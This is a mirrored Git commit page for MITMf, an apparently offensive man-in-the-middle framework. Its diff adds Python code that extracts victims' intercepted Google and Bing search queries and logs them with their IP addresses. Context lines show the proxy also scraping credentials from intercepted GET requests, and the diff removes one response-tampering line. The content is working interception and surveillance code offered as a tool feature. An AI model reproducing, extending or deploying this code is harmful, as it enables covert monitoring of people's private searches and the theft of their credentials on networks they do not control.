mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-31 04:00:19 -07:00
fixed bug, MITMf now logs search engine queries
This commit is contained in:
parent
a6ed0eea2a
commit
58bd73bb28
2 changed files with 25 additions and 1 deletions
|
@ -70,6 +70,31 @@ class ServerConnection(HTTPClient):
|
||||||
else:
|
else:
|
||||||
logging.info(message)
|
logging.info(message)
|
||||||
|
|
||||||
|
#Capture google searches
|
||||||
|
if ('google' in self.headers['host']):
|
||||||
|
if ('search' in self.uri): #and ('search' in self.uri):
|
||||||
|
try:
|
||||||
|
for param in self.uri.split('&'):
|
||||||
|
if param.split('=')[0] == 'q':
|
||||||
|
query = str(param.split('=')[1])
|
||||||
|
if query:
|
||||||
|
logging.info("%s is querying %s for %s" % (self.client.getClientIP(), self.headers['host'], query))
|
||||||
|
except Exception, e:
|
||||||
|
error = str(e)
|
||||||
|
logging.warning("%s Error parsing google search query %s" % (self.client.getClientIP(), error))
|
||||||
|
|
||||||
|
if ('bing' in self.headers['host']):
|
||||||
|
if ('Suggestions' in self.uri):
|
||||||
|
try:
|
||||||
|
for param in self.uri.split('&'):
|
||||||
|
if param.split('=')[0] == 'qry':
|
||||||
|
query = str(param.split('=')[1])
|
||||||
|
if query:
|
||||||
|
logging.info("%s is querying %s for %s" % (self.client.getClientIP(), self.headers['host'], query))
|
||||||
|
except Exception, e:
|
||||||
|
error = str(e)
|
||||||
|
logging.warning("%s Error parsing bing search query %s" % (self.client.getClientIP(), error))
|
||||||
|
|
||||||
#check for creds passed in GET requests.. It's surprising to see how many people still do this (please stahp)
|
#check for creds passed in GET requests.. It's surprising to see how many people still do this (please stahp)
|
||||||
for user in self.http_userfields:
|
for user in self.http_userfields:
|
||||||
username = re.findall("("+ user +")=([^&|;]*)", self.uri, re.IGNORECASE)
|
username = re.findall("("+ user +")=([^&|;]*)", self.uri, re.IGNORECASE)
|
||||||
|
|
|
@ -46,7 +46,6 @@ class ServerConnection(HTTPClient):
|
||||||
self.headers = headers
|
self.headers = headers
|
||||||
self.client = client
|
self.client = client
|
||||||
self.urlMonitor = URLMonitor.getInstance()
|
self.urlMonitor = URLMonitor.getInstance()
|
||||||
self.responseTamperer = ResponseTampererFactory.getTampererInstance()
|
|
||||||
self.plugins = ProxyPlugins.getInstance()
|
self.plugins = ProxyPlugins.getInstance()
|
||||||
self.isImageRequest = False
|
self.isImageRequest = False
|
||||||
self.isCompressed = False
|
self.isCompressed = False
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue